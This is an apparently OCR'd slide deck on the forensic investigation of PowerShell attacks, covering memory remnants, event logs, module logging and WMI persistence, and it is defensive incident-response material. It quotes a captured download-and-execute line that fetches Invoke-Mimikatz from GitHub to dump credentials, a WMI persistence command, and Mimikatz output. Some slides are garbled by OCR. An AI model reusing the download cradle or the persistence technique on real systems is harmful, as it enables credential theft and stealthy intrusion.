

Investigating PowerShell Attacks

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Background Case Study



- Fortune 100 organization
- Compromised for > 3 years
 - Active Directory
 - Authenticated access to corporate VPN

- Command-and-control via
 - Scheduled tasks
 - Local execution of PowerShell scripts
 - PowerShell Remoting



Why PowerShell?





PowerShell Attack Tools

- PowerSploit
 - Reconnaissance
 - Code execution
 - DLL injection
 - Credential harvesting
 - Reverse engineering

- Posh-SecMod
- Veil-PowerView
- Metasploit
- More to come...

 Nishang

O	Get-Keystrokes ns1	
CodeExecution.psd1		
	Get-TimedScreenshot.ps1	Get-ComputerDetails.ps1
CodeExecution.psm1		
	Get-VaultCredentials.ps1	Get-HttpStatus.ps1
Invoke-DIIInjection.ps1		
_	Get-VaultCredentials.ps1xml	Invoke-Portscan.ps1
Invoke-ReflectivePEInjection.ps1		
	Invoke-CredentialInjection.ps1	Invoke-ReverseDnsLookup.ps1
Invoke-Shellcode.ps1		
	Invoke-Mimikatz.ps1	

PowerShell Malware in the Wild

Windows PowerShell and the "PowerShell Worm"

💄 PowerShell Team 🛛 📰 3 Aug 2006 6:34 AM 🛛 💻 13









Investigation Methodology



Sources of Evidence



Attacker Assumptions

- Has admin (local or domain) on target system
- Has network access to needed ports on target system
- Can use other remote command execution methods to:
 - Enable execution of unsigned PS scripts
 - Enable PS remoting



Version Reference

	20	3.0	
Windows 7 SP1	Default (SP1)	Requires WMF 3.0 Update	Requires WMF 4.0 Update
Windows Server	Default (R2 SP1)	Requires WMF 3.0 Update	Requires WMF 4.0 Update
Windows 8		Default	Requires WMF 4.0 Update
Windows 8.1			Default
Windows Server 2012		Default	Default (R2)



Memory Analysis

Memory Analysis

Scenario:

Attacker interacts with target host through PowerShell remoting

- What's left in memory on the accessed system?
- How can you find it?
- How long does it persist?







Remnants in Memory



How Long Will Evidence Remain?

	wsmprovhost.exe	svchost.exe (WinRM)	Kernel Memory	Pagefile
Evidence	Best source of command history, output	Fragments of remoting I/O	Fragments of remoting I/O	Fragments of remoting I/O
Retention	Single remoting session	Varies with # of remoting sessions	Varies with memory utilization	Varies with memory utilization
Max Lifetime	End of remoting session	Reboot	Reboot	Varies – may persist beyond reboot



Example: In-Memory Remnants

SOAP in WinRM service memory, after interactive PsSession with command:

echo teststring_pssession > c:\testoutput_possession.txt

pdUGAwEC+58PdPZhtdO+7vzxPYmogUmVmSWQ9IjAiPjxNUz48T2JqIE49I1Bvd2



Example: In-Memory Remnants

WinRM service memory - Invoke-Mimikatz.ps1 executed remotely on target host

>>> sc()							
Current con	ntext: p	prod	ess suchost.exe, pid=1188, p	pid=4	1 92	DTE	3=0x3f095220
>>> db(0x02	275b5A0,	10	ength=384)				
0x0275b5a0	e9 5c	61		61	64	65	.∖a+ut:Heade
0x0275b5b0	72 3e	3c	((New-Object.Net	70	3a	43	r> <s:body><rsp:c< td=""></rsp:c<></s:body>
0x0275b5c0	6f 6d	6d	Hab Clip AstDa	6c	00	80	ommandLi.\a+ml
0x0275b5d0	c0 00	73	.webciie.\a+bo	73	63	68	sp="http://sch
0x0275b5e0	65 6d	61	adStrino(&anos	74	2e	63	emas.microsoft.c
0x0275b5f0	e3 5c	61	ddoci xiig(ddpod	2f	31	2f	.\a+beman/1/
0x0275b600	77 69	6e	:https://raw.qit	22	20	43	windows/shell".C
0x0275b610	6f 6d	6d	lates test a	43	00	80	ommandId.\a+EC
0x0275b620	ca 00	2d	.∖a⊤setent.c	42	44	42	05FE-4670-BDB
0x0275b630	45 2d	34	om/mattifestatio	31	22	3e	E-44BABA655F11">
0x0275b640	95 5c	61	omymaccirescacio	69	65	78	.\a+:Cnd>1ex
0x0275b650	28 28	4e	n/PowerS.\a+t/	4e	65	74	((New-Object.Net
0x0275b660	2e 57	65		61	00	80	.WebClie.\a+Do
0x0275b670	d4 00	61	er/Exflitratio	70	6†	73	adString('
0x0275b680	3b 68	74	n/Inucke-Mimikat	67	69	74	;https://raw.git
0x02756690	81 50	61	IT INVOLE HIMIKAC	14	Ze	63	.\a+setent.c
0x0275b6a0	6† 6d	2†	.\a+1&:)):.I	74	69	6†	om/mattifestatio
0x0275b6b0	6e 2f	50	where the here here	21	00	80	n/PowerS.\a+t/
0x0275b6c0	de 00	65	nvoke-Mimikatz	(4	69	6†	er/Exfiltratio
0x0275b6d0	6e 2t	49	DumpCrod \aton	6b	61	74	n/Invoke-Mimikat
0x0275b6e0	81 50	61	Dumpered. (a.sp	30	20	49	.\a+1&;));.1
0x02756670	6e (6	61		1 (a	20	2d	nvoke-Mimikatz
0x02756700	44 75	6d	10 43 12 65 64 bc 5c 61 2b 73	3 70	00	80	DumpCred.\a+sp
0x0275b710	e8 00	6d	61 6e 64 3e 3c 72 73 70 3a 41	1 (2	67	75	mand> <rsp:arou< td=""></rsp:arou<>



What to Look For?

WSMan & MS PSRP Syntax

- /wsman.xsd
- <rsp:Command>
- <rsp:CommandLine>
- <rsp:Arguments>
- <S N="Cmd">
- Known attacker filenames
- View context around hits
- Yes, this is painful

<rsp:CommandResponse><rsp:CommandId>""xmlns:r sp="http://schemas.microsoft.com/wbem/wsman/ 1/windows/shell"""C80927B1-C741-4E99-9F97-CBA80F23E595</a:MessageID><w:Locale xml:lang="en-US" s:mustUnderstand="false" / ><p:DataLocale xml:lang="en-US" s:mustUnderstand="false" /><p:SessionId"/</pre> w:OperationTimeout></ s:Header><s:Body><rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/ wsman/1/windows/shell" CommandId="9A153F8A-AA3C-4664-8600-AC186539F107"><rsp:Command>prompt""/ rsp:Command><rsp:Arguments>AAAAAAAAFkAAAAAAA AAAAMAAAajAgAAAAYQAqC2Yc+EDBrbTLq08PrufN +rij8VmjyqZEaGAKwYZTnxB+ +7vzxPYmogUmVmSWQ9IjAiPjxNUz48T2JqIE49I1Bvd2V yU2hlbGwiIFJlZklkPSIxIj48TVM +PE9iaiBOPSJDbWRzIiBSZWZJZD0iMiI +PFROIFJlZklkPSIwIj48VD5TeXN0ZW0uQ29sbG

Memory Analysis Summary

- Timing is everything
- Challenging to recover evidence
- Many variables
 - System uptime
 - Memory utilization
 - Volume of WinRM activity



Event Logs

Event Logs

Scenario:

Attacker interacts with target host through local PowerShell script execution or PowerShell remoting

- Which event logs capture activity?
- Level of logging detail?
- Differences between PowerShell 2.0 and 3.0?



PowerShell Event Logs

- Application Logs
 - Windows PowerShell.evtx
 - Microsoft-Windows-PowerShell/Operational.evtx
 - Microsoft-Windows-WinRM/ Operational.evtx
- Analytic Logs
 - Microsoft-Windows-PowerShell/Analytic.etl
 - Microsoft-Windows-WinRM/ Analytic.etl





Local PowerShell Execution

. . .

EID 400: Engine state is changed from None to Available.

HostName=ConsoleHost

PowerShell

EID 403: Engine state is changed from Available to Stopped.

HostName=ConsoleHost

Start & stop times of PowerShell session



Local PowerShell Execution





Local PowerShell Execution

EID 7937: Command test.ps1 is Started.



EID 7937: Command Write-Output is Started.

PowerShell Analytic**

EID 7937: Command dropper.exe is Started

** Log disabled by default. Events exclusive to PowerShell 3.0 or greater Executed cmdlets, scripts, or commands (no arguments)



Remoting

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PowerShell

EID 6: Creating WSMan Session. The connection string is: 192.168.1.1/wsman? PSVersion=2.0

Start of remoting session (client host)

EID 400: Engine state is changed from None to Available.

HostName=ServerRemoteHost

EID 403: Engine state is changed from Available to Stopped.

HostName=ServerRemoteHost

Start & stop of remoting session (accessed host)



PowerShell

Remoting (Accessed Host)



Who connected via remoting



EID 81: Processing client request for operation CreateShell

EID 134: Sending response for operation DeleteShell

Timeframe of remoting activity



Remoting (Accessed Host)

EID 32850: Request 7873936. Creating a server remote session. UserName: CORP \JohnD

Who connected via remoting



EID 32867: Received remoting fragment [...] Payload Length: 752 Payload Data: 0x02000000200010064D64FA51E7C784 18483DC[...]

EID 32868: Sent remoting fragment [...] Payload Length: 202 Payload Data: 0xEFBBBF3C4F626A2052656649643D22 30223E3[...] Encoded contents of remoting I/O



PS Analytic Log: Encoded I/O

Invoke-Command {Get-ChildItem C:\}

Event 32867, PowerShell (Microsoft-Windows-PowerShell) General Details Received remoting fragment. Object Id: 5 Fragment Id: 0 Start Flag: 1 End Flag: 1 Payload Length: 1762 Payload Data: 0x020000006100200C22CC2EFB2615B4196D9A60742233F5FC55ABD3B325CE8438DADCE09E70EA180EFBBBF3C4F 9643D2231223E3C4D533E3C4F626A204E3D22436D6473222052656649643D2232223E3C544E2052656649643D22302 7374656D2E4D616E6167656D656E742E4175746F6D6174696F6E2E50534F626A6563742C2053797374656D2E4D616E6 72653D6E65757472616C2C205075626C69634B6579546F6B656E3D333162663338353661643336346533355D5D3C2F 643D2233223E3C4D533E3C53204E3D22436D64223E4765742D4368696C644974656D3C2F533E3C42204E3D22497353 3C4F626A204E3D224D657267654D79526573756C74222052656649643D2234223E3C544E2052656649643D223



PS Analytic Log: Decoded Input

Invoke-Command {Get-ChildItem C:\}

<mark>xE7S0xA1x80</mark><Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N=" RefId="2"><TN

RefId="0"><T>System.Collections.Generic.List`1[[System.Management.Automati System.Management.Automation, Version=3.0.0.0, Culture=neutral,

PublicKeyToken=31bf3856ad364e351]</T><I>System=Object</T></TN><LST><Obj Re N=CCmd">Get-ChildItem</6><B N=CIsScript">false</B <Nil N="UseLocalScope" / N="MergemyResult" RefId="4"><TN

RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T <T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString>< bj N="MergeToResult" RefId="5"><TNRef RefId="1"

/><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefIc RefId="0" /><LST><Obj RefId="8"><MS><Nil N="N" /><S

N="W">C:\</M\$></Obj></LST></Obj></MS></Obj></LST></Obj></LST></Obj></B N="IsNested" N="Histony"/><B N="RedirectShellErrorOutputPipe">true</MS></Obj><B



PS Analytic Log: Decoded Output

Invoke-Command {Get-ChildItem C:\}

N="Name">drivers</0><S N="Parent"><B N="Exists">true<S
N="FullName">C:\drivers<S N="Extension"><DT
N="CreationTime">2014-01-26T13:14:10.7424241-05:00</DT><DT
N="CreationTimeUtc">2014-01-26T13:14:10.74242412</DT><DT
N="CreationTimeUtc">2014-01-26T18:14:10.74242412</DT><DT
N="LastAccessTime">2014-01-26T13:14:10.7434241-05:00</DT><DT
N="LastAccessTimeUtc">2014-01-26T13:14:10.7434241-05:00</DT><DT
N="LastAccessTimeUtc">2014-01-26T18:14:10.7434241-05:00</DT><DT
N="LastAccessTimeUtc">2014-01-26T18:14:10.74342412</DT><DT
N="LastAccessTimeUtc">2014-01-26T18:14:10.74342412</DT><DT
N="LastWriteTime">2014-01-26T13:14:10.74342412</DT><DT
N="LastWriteTime">2014-01-26T18:14:10.74342412</DT><DT
N="LastWriteTime">2014-01-26T18:14:10.74342412</DT><DT
N="LastWriteTime">2014-01-26T18:14:10.74342412</DT><DT
N="LastWriteTimeUtc">2014-01-26T18:14:10.74342412</DT><DT</pre>



Logging via PowerShell Profiles

%windir%\system32\WindowsPowerShell\v1.0\profile.ps1

- Add code to global profile
 - Loads with each local PS session
 - Start-Transcript cmdlet
 - Overwrite default prompt function
- Limitations
 - Will not log remoting activity
 - Can launch PowerShell without loading profiles



Logging via AppLocker

- Set Audit or Enforce script rules
- Captures user, script path

MSI and Script Number of events: 2				
Level	Date and Time	Source		
▲ Warning	7/14/2014 10:58:30 AM	AppLocker		
 Information 	7/14/2014 10:57:57 AM	AppLocker		
	III	1		
Event 8006, AppLocker ×				
General Details				
%OSDRIVE%\TEMP\HELLOWORLD.PS1 vas allowed to run but would have been prevented from running if the AppLocker policy were enforced.				



PowerShell 3.0: Module Logging

Solves (almost) all our logging problems!

Local Group Policy Editor	
File Action View Help	
Windows Media Digital F Windows Power	verShell
Windows Media Player Windows Messenger Windows Mobility Center	view its Setting State
Windows PowerShell	Iurn on Script Execution Not configu Set the default source path for Update-H Not configu
Windows Remote Manag Windows Remote Shell Extended Standa	ard / Turn on Module Logging Previous Setting Next Setting
3 setting(s)	Not Configured Comment:
nputer Configuration \rightarrow	Enabled Disabled Supported on: At least Microsoft Windows 7 or Windows Server 2008 family
anistrative Templates \rightarrow dows Components \rightarrow dows PowerShell \rightarrow n on Module Logging	Options: To turn on logging for one or m modules, click Show, and then t module names in the list. Wildc supported. Module Names: Module Names: Value Microsoft PowerShell.*
	To turn on logging for the Wind PowerShell core modules, type t following module names in the Microsoft.PowerShell.*

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Module Logging Example: File Listing

Get-ChildItem c:\temp -Filter *.txt -Recurse | Select-String password

Microsoft-Windows-PowerShell/Operational (EID 4103)

```
ParameterBinding(Get-ChildItem): name="Filter"; value="*.txt"
ParameterBinding(Get-ChildItem): name="Recurse"; value="True"
ParameterBinding(Get-ChildItem): name="Path"; value="c:\temp"
ParameterBinding(Select-String): name="Pattern"; value="password"
ParameterBinding(Select-String): name="InputObject";
value="creds.txt"
```

Command Name = Get-ChildItem User = CORP\MHastings

Logged upon command execution

```
ParameterBinding(Out-Default): name="InputObject";
value="C:\temp\creds.txt:2:password: secret"
ParameterBinding(Out-Default): name="InputObject";
value="C:\temp\creds.txt:5:password: test"
```

Logged upon command output

Module Logging Example: Invoke-Mimikatz

Invoke-Mimikatz.ps1 via remoting

		Operational Number of events: 1,242
		Event Properties - Event 4103, PowerShell (Microsoft-Windows-PowerShell)
		General Details
		ParameterBinding(Write-Verbose): name="Message"; value="Allocating memory for the PE and write its headers to memory"
t "nor		Event Properties - Event 4103, PowerShell (Microsoft-Windows-PowerShell)
and"	\neg	General Details
ing		ParameterBinding(New-Object): name="TypeName"; value="Net.WebClient"
		Event Properties - Event 4103, PowerShell (Microsoft-Windows-PowerShell)
		General Details
		ParameterBinding(Add-Member): name="MemberType"; value="NoteProperty" ParameterBinding(Add-Member): name="Name"; value="IMAGE_SCN_MEM_NOT_CACHED"

ParameterBinding(Add-Member): name="Value"; value="0x04000000" ParameterBinding(Add-Member): name="InputObject"; value="System.Object"

logging

MANDIANT

Detailed

comm

Module Logging Example: Invoke-Mimikatz

🛃 Event Properties - Event 4103, PowerShell (Microsoft-Windows-PowerShell)	
General Details	
## / \ ## /* ** ## \ / ## Benjamin DELPY `gentilkiwi` (benjamin@gentilkiwi.com) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 14 modules * * */	
mimikatz(powershell) # sekurlsa::logonpasswords	
Authentication Id : 0 ; 133646 (0000000:00020a0e) Session : Interactive from 1 User Name : Interactive Journal Domain : Interactive Journal Domain	Mimikatz output in event log
SID : S-1-5-21-1391123415-1310120624-2314427930-1000 msv : [00000003] Primary * Username :	
* Domain : WIN- * LM : * NTLM :	
* SHA1 : tspkg : * Username :	
* Domain : WIN * Password :	



Persistence

PowerShell Persistence

Scenario: Attacker configures system to load malicious PowerShell code upon startup or user logon

- What are common PowerShell persistence mechanisms?
- How to find them?



PERSISTENCE

Never let anything stand in your way

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Common Techniques

- Registry "autorun" keys
- Scheduled tasks
- User "startup" folders
- Easy to detect
 - Autorun review
 - Registry timeline analysis
 - File system timeline analysis
 - Event log review





Persistence via WMI

Use WMI to automatically launch PowerShell upon a common event



Event Filters

Query that causes the consumer to trigger

SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE
TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
AND TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 325</pre>

Run within minutes of startup

SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 12 AND TargetInstance.Minute = 00 GROUP WITHIN 60

Run at 12:00



Event Consumers

- Launch "PowerShell.exe" when triggered by filter
- Where does the evil PS code load from?

```
Set-WmiInstance -Namespace "root\subscription" -Class
'CommandLineEventConsumer' -Arguments
@{ name='TotallyLegitWMI';CommandLineTemplate="$($Env:SystemRoot)
\System32\WindowsPowerShell\v1.0\powershell.exe -
NonInteractive";RunInteractively='false'}
```

Added to Consumer Command-Line Arguments (length limit, code must be base64'd)



Enumerating WMI Objects with PowerShell

- Get-WMIObject -Namespace root\Subscription
 -Class EventFilter
- Get-WMIObject -Namespace root\Subscription
 -Class EventConsumer
- Get-WMIObject -Namespace root\Subscription
 -Class __FilterToConsumerBinding

PS C:\> Get-WMIObject	-Namespace root\Subscription -ClassEventConsumer
GENUS	: 2
CLASS	: CommandLineEventConsumer
SUPERCLASS	:EventConsumer
DYNASTY	:SystemClass
RELPATH	CommandLineEventConsumer.Name="TotallyLegitWMI"
PROPERTY_COUNT	: 27
DERIVATION	: {EventConsumer,IndicationRelated,SystemClass}
SERVER	
NAMESPACE	: ROOT\Subscription
PATH	<pre>k \\ ROOT\Subscription:CommandLineEventConsumer.N</pre>
CommandLineTemplate 📕	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Non
CreateNewConsole	: False



PS WMI Evidence: Registry

Key	Value	Data
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM \ESS\//./root/CIMV2\ Win32ClockProvider	[N/A]	[N/A]
Key Last Modified		
06/04/14 01:30:03 UTC		

Created only when setting a time-based WMI filter (many other types of triggers may be used)



PS WMI Evidence: Other Sources

- SysInternals AutoRuns v12
- Memory: WMI filter & consumer names
 - svchost.exe (WinMgmt service)
 - WmiPrvse.exe
- Event logs: WMI Trace

CorrelationId = {0000000-BBA8-0000-BEBD-48D9848DCF01}; GroupOperationId = 2971; OperationId = 2972; Operation = Start IWbemServices::PutInstance - root\subscription : CommandLineEventConsumer.Name= "TotallyLegitWMI"; ClientMachine = User = ClientProcessId = 3348; NamespaceName = \\.\root \subscription						
Log Name:	Microsoft-Windows-	WMI-Activity/Trace				
Source:	WMI-Activity	Logged:	6/21/2014 3:56:30 PM			
Event ID:	11	Task Category:	None			



Conclusions

Other Sources of Evidence

- Refer to whitepaper
- Prefetch for "PowerShell.exe"
 - Local execution only
 - Scripts in Accessed File list
- Registry
 - "ExecutionPolicy" setting
- Network traffic analysis (WinRM)
 - Port 5985 (HTTP) / port 5986 (HTTPS)
 - Payload always encrypted
 - Identify anomalous netflows

POWERSHELL.EXE-59FC8F3D.pf





Lessons Learned

- Upgrade and enable Module Logging if possible
- Baseline legitimate PowerShell usage
 - ExecutionPolicy setting
 - Script naming conventions, paths
 - Remoting enabled?
 - Which users?
 - Common source / destination systems
- Recognize artifacts of anomalous usage



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Questions?

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